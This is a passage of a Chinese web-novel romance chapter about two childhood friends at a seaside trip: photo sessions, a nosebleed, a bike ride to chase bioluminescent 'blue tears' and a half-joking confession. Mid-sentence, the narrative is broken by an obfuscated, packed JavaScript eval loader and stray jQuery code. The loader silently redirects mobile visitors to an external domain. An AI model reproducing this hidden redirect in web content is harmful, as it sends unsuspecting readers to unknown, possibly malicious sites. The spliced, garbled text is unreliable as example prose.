杨雪霏懊恼自己一时色欲熏心,这回可是跳进黄河也洗不清了。
于思思语重心长地说:“我说你俩也真是的,这里离酒店也就几步路,这么着急做什么?”
杨雪霏睁眼说瞎话,“你胡说八道什么,我刚刚在给驰朝抹防晒霜呢。”
她瞪大眼睛,没什么威慑力地警告道:“不许在外边乱讲!”
于思思伸手在嘴上缝了个拉链,意味深长地说:“我懂,我懂,我会为你们保密的。”
“哎呀,都说了没有了。”杨雪霏有点恼羞成怒了。
驰朝见状,淡淡地补了句,“确实没有。”
于思思似乎相信了,“好吧。”
“你这么失望干嘛?”杨雪霏谴责道:“还有啊,为什么我说你就不信,驰朝说你就相信,你怎么还胳膊肘往外拐。”
于思思嘀咕道:“谁让你经常满嘴跑火车。”
杨雪霏听见了,和她互相伤害起来。
“到底谁在满嘴跑火车呀?我让你陪我出来玩,你还骗我说,要在家里带娃,连我要去哪里都没问。”
“好啊你。”杨雪霏想到什么,盯着于思思和张不凡紧握的十指,“难怪你说驰朝在骗人,你们不会已经……”
杨雪霏震惊地捂嘴。
于思思的脸一下红了,支支吾吾,欲言又止。
最后,还是驰朝和张不凡交换完眼神,拉着杨雪霏走了。
“好了,别打扰人家谈恋爱了。”
直到看不到他们的人影,驰朝才停下来,杨雪霏还沉浸在这个惊天八卦中。
见驰朝一脸淡定,她狐疑地打量了驰朝好一会儿。
“他俩啥时候好上的?”
“应该是于思思生日那晚。”
“你是不是早就知道了?”
“没。我刚刚和你一起知道的。”
“那你怎么一点都不震惊?!本来他俩在一块,就已经够震惊我了,进度还那么快……”
比起他十八年没有动过的进度条,张不凡这速度可谓是坐火箭了,驰朝想不明白,他比张不凡差在哪里。
杨雪霏嘀嘀咕咕。
“应该就是单纯在一块了,也没那啥吧,看到腹肌也不等于那啥了。”
“就像我,不仅看了你的腹肌,我还没摸了你的腹肌呢,那我俩也没那啥啊。”
她越说越肯定,“应该是我想多了。”
驰朝有时候觉得,杨雪霏单纯得过分。
人家脖子上的草莓、肩膀上的牙印、后背上的咬痕,明晃晃地抓眼,她怎么会没注意到。
杨雪霏说着说着,终于抓住了重点。
“对哦!你为什么骗我?!还说张不凡肚子上全是肥肉,亏我那么相信你!”
驰朝一点也不心虚,“我之前看到的时候,确实全是肥肉,可能是最近刚练的。”
杨雪霏半信半疑。
一个下午。
杨雪霏换了五套泳装,拍了不下两百张照片。
“要突出重点哦。”她用指尖从上到下描摹着腰线和臀线,示意蹲在面前的驰朝好好表现。
过了会儿。
重点换了,她坐在礁石上,手掌支着礁面,岔开两条大长腿。
“这条腿稍微好看点,你从这个面拍哦。”
又过了会儿。
重点又换了,她俯身向前,双手支着膝盖,绵软的两团半包在蓝色碎花泳衣下,自然而然地夺目。
“驰!朝!朝!别偷懒了,你能不能看相机呀!一直摆这个姿势很累诶。”
驰朝这才艰难地收回欲盖弥彰望向他处的视线,对着相机看了不到几秒,就听到杨雪霏一声尖叫。
“啊!驰朝,你流鼻血了!你快把头仰起来。”
杨雪霏着急地上前。
驰朝仍就着半蹲的姿势,听话地仰着头,而她焦急地站在他面前,俯身用纸擦他人中的血。
骤然模糊的世界,只余触目惊心的晃动的白。
驰朝一阵头晕目眩。
因为驰朝临时出了状况,杨雪霏不好抛下他独自去看日落,只好再三向陈群道歉,留在酒店照顾他。
贴心的雪霏让驰朝喝粥,他还不乐意。
杨雪霏模仿林珍,有样学样地数落他。
“瞧瞧,难怪会流鼻血,大夏天的,清淡的东西是一点吃不得了?就你嘴馋。”
驰朝一噎。
杨雪霏转头去调空调,对着手机,有模有样地研究了大半天。
“我喝,你喂我。”
杨雪霏听他声音气若游丝,连忙转头,惊疑不定地看了他好一会儿。
她探了探他的额头,“也没发烧啊?”
驰朝有气无力,“头晕。”
杨雪霏看了他半天,“你是流鼻血了,手还能用呀?怎么还要人喂?你不会……是在打击报复我吧?”
驰朝不说话。
两人你看我,我看你。
杨雪霏气笑了,“行吧,毕竟事情因我而起。”
她觉得,是自己在高温天气下,折磨了驰朝一下午,让他一会儿这样,一会儿那样。
那张拍得不满意,这张拍得也不算满意,把驰朝气得流鼻血了。
心里还是有点心虚的。
哪想到驰朝倒是一点也不客气,就差把她当仆人使唤了。
驰朝听下来都乐了,“谁家仆人天天胆大妄为、以下犯上,谁家主人这么低三下四、言听计从。”
杨雪霏端起碗,舀了一大勺就往他嘴里送,“吃你的吧。”
饶是仆人鼻子不是鼻子、脸不是脸,像随时会殴打老人的无良护工,主人还是心满意足地吞了下去。
上一次有这个待遇,还是什么时候呢。
是春节那会儿家庭聚会时,杨雪霏她妈逼她吃脑花,说要给她补补脑。
杨雪霏当然没吃,趁她妈没注意,全都一股脑塞驰朝嘴里了。
驰朝一吃进去就想吐,但林珍这时候又看过来了,还夸杨雪霏今天这么乖。
杨雪霏一边毫不心虚地挺胸,其实也不是那么难吃。
一边瞪驰朝,警告他不许吐出来。
比起脑花,眼前的粥,也不算难以下咽。
驰朝吃得很干净。
到了夜里。
杨雪霏刷了会儿手机,就有点坐不住了,时不时往窗外看。
驰朝状似不经意地问:“于思思找你?”
“不是啦。”杨雪霏说:“群群说晚上可能会有蓝眼泪,问我们要不要一起去追泪。”
百度上是这么解释蓝眼泪的,说它是海洋中夜光藻或海萤等浮游生物受扰动时,发生的蓝色荧光现象。
除此之外,杨雪霏只在短视频中了解过它。
虽说海晏也是沿海城市,但不是每片海域都有形成蓝眼泪的条件。
驰朝知道,杨雪霏对此满怀憧憬。
他不是非要把她绑在这里,早在来之前,他就在研究追泪路线了。
杨雪霏低头敲手机,“我和他说不去了。”
等她发完消息,驰朝才说:“就流个鼻血而已,我已经没事了。”
好像傍晚还半死不活的人,不是他一样。
杨雪霏挥挥手,“算了,你别逞能了。”
驰朝坚持说自己已经没事了,还下床走了几步。
杨雪霏不信。
谁让驰朝从小到大都爱逞能,远的不说,就说去年吧。
两人放学路上,偶遇同年的全民马拉松大军。
杨雪霏看到立牌宣传,跑完全程42公里,就能挑选一款本次合作明星的限定周边,其中包括她喜欢的男歌手云霁。
她一眼就看中了云霁的限定周边,于是当场脱下校服,丢给驰朝保管,自个儿现场报名,整装待发。
彼时,她还没有自知之明。
“你先回去吧,看到我妈,跟我妈说,我晚点回去。”
驰朝没走,也报了个名,说要陪跑,免得她晕倒在路上,都没人喊救护车。
驰朝不信任的表情,狠狠刺痛了杨雪霏为数不多的自尊心。
她暗暗发誓,一定要让驰朝刮目相看。
就是这种信念感,让她足足坚持了……两公里。
至于后来的四十公里,都是驰朝独自跑完的。
杨雪霏如愿拿到了云霁的周边,而驰朝因未热身就剧烈运动,导致肌肉拉伤,足足一个月没法打球。
杨雪霏想,如果驰朝像她一样,懂得知难而退就好了,其实那个周边,也没那么重要。
而驰朝想的是,杨雪霏还在等他,他得再快一些。
吸取了经验教训。
杨雪霏死活不去追泪,说,算了吧,你还是好好休息吧,反正要待很多天,还有机会,你别为了陪我瞎逞能。
驰朝说,我也想去看,跟你没关系。
饶是驰朝拿出了早就做好的追泪攻略,杨雪霏还是半信半疑。
她想不明白,几个小时前还虚弱得连坐着看日落都困难的人,现在,怎么就可以生龙活虎地满图跑了。
杨雪霏坚决地摇头。
“不是你想不想的问题,是你行不行的问题。你也做了攻略,知道蓝眼泪是小概率事件,我们得跑多少个海滩才能追到啊……”
驰朝在听到那句“行不行”时,就想开口了,但还是听她说完了。
“我行。”
杨雪霏:“……”
一看杨雪霏那质疑的表情,驰朝就忍不住了。
他二话不说,身体力行地证明自己确实行。
“行了行了。”杨雪霏连忙阻止他,“你行你行,你最行,行了吧。没事做什么俯卧撑啊。”
驰朝这才慢慢悠悠地起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406742|184510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身。
杨雪霏背过身偷笑。
驰朝朝,怎么这么幼稚啊。
出了门,杨雪霏才想起来,忘记和陈群说了。
“我和群群说一下,问一下他们在哪。”
驰朝说:“不能就我们两个人吗?”
杨雪霏一时没理解他的意思,“啊?”
“为什么呀?”她问。
她一脸不解,让驰朝有些无力,比起她的钝感力,他更无力于自己的一筹莫展。
在杨雪霏的世界里,出去玩嘛,朋友自然是越多越好。
而在驰朝的世界,恰恰相反。
有一瞬间,驰朝真的很想问她。
问她说,如果我真的没有来呢,你是不是会完全把我抛之脑后。不管是驰朝、陈群、于思思,或者是别的什么人,对你而言,都没有太大差别,对吗。
答案显然是不尽如人意的。
所以驰朝只是松懈了绷紧的肩,“算了,没什么。”
蓝眼泪的出现具有偶然性、不确定性。
他们无法确定将近100公里的海岸线,哪一片海域,在哪一个时机,会被幸运眷顾。
环岛公路上,几乎都是像他们一样踩着单车就出来追泪的人。
共享单车连车灯都没有,只能就着微弱的月光和路灯前行。
不知是谁先开口的,人们一路高歌,唱起应景的朋友一生一起走。
杨雪霏也在唱。
他们并排前行,迎着浪潮似的海风。
不知怎的,明明该是无比欢愉的时刻。
杨雪霏却忽然生出了一种惶恐。
她借着月光,偷偷看向驰朝,看向那张烂熟于心的脸。
他正被她逼着一起合唱,不大乐意的样子,好像这歌会影响他的格调,每个字却都在调上。
又看看前排,几乎都是三五欢声笑语的年轻好友,孤孤零零的中年人十分稀少。
她不禁想,等她到了那个年纪,驰朝朝还会在她的身边吗。
驰朝听到,杨雪霏本来打了鸡血的歌声骤然变低,敏锐地察觉到了她的情绪。
他望向她,只见她一脸恍惚。
这是怎么了。
“驰朝朝。”杨雪霏忽然喊他的名字。
“嗯。”
“你说,十年之后你会在什么地方?”
在杨雪霏身边。
驰朝在心底说。
可他不能这么说,他只能故作自恋地逗她开心,“怎么?你还怕见不到我?”
没想到,杨雪霏很认真地点了点头,转而看向他,“是啊。”
驰朝心头一动,还没来得及说什么,又听杨雪霏自说自话。
“算了,你到时候肯定要在家里陪老婆孩子,我可不能那么没眼力见,没事就叫你出来。”
杨雪霏总是刷到短视频说,弟弟妹妹就是天生的专属仆人。
杨雪霏没有弟弟妹妹,但她一点也不羡慕人家。
虽然杨雪霏她妈没给她生一个专属仆人,但驰朝他妈给她生了个专属仆人。
既不用分走她的爱,又给她带来了另一个家庭的爱。
而将来,她的专属仆人驰朝朝,总有一天会变成别人的专属仆人。
恋爱和结婚,在杨雪霏看来,有所不同。
恋爱可以一拍即散,而婚姻意味着责任和边界。
杨雪霏知道,驰朝是多么一个有责任感的人,如果他有了自己的家庭,绝不会陪她在外边瞎闹腾。
况且,和有妇之夫单独出行,饶是清者自清,也少不了瓜田李下的嫌疑,既没必要,也不妥当。
杨雪霏是这么想的,也是这么说的。
驰朝不理解,“怎么说着说着,我就成有妇之夫、超级奶爸了,我还是黄花大闺男好吗?”
“迟早的事。”
杨雪霏想到什么,“啧”了声,“就你这模样,到大学就得给人生吞活剥了。”
她煞有其事地提醒,“你可别还没毕业,就整出什么孩子,我还不想这么早当阿姨。”
驰朝一哽。
如果把“阿姨”换成“妈”,这句话或许会更中听一些。
他“啧”了声,“你能不能盼着点我好?”
说来说去,又说回最初的问题。
杨雪霏伤感地望天,“反正人和人的关系终有离散,到时候陪在我身边的人,就不是你了。”
驰朝:“……”
怎么越说越不中听了。
驰朝斟酌着语句,用一种很轻松的玩笑的语气。
“这么舍不得我?那要不,咱俩凑合凑合?”
杨雪霏懵了,连踏板也不踩了,缓缓地看向他。
他也跟着停下,就这样定定地看她。
那双时常似笑非笑的眼,这会儿认真得过分,杨雪霏找不到一丝玩笑的痕迹。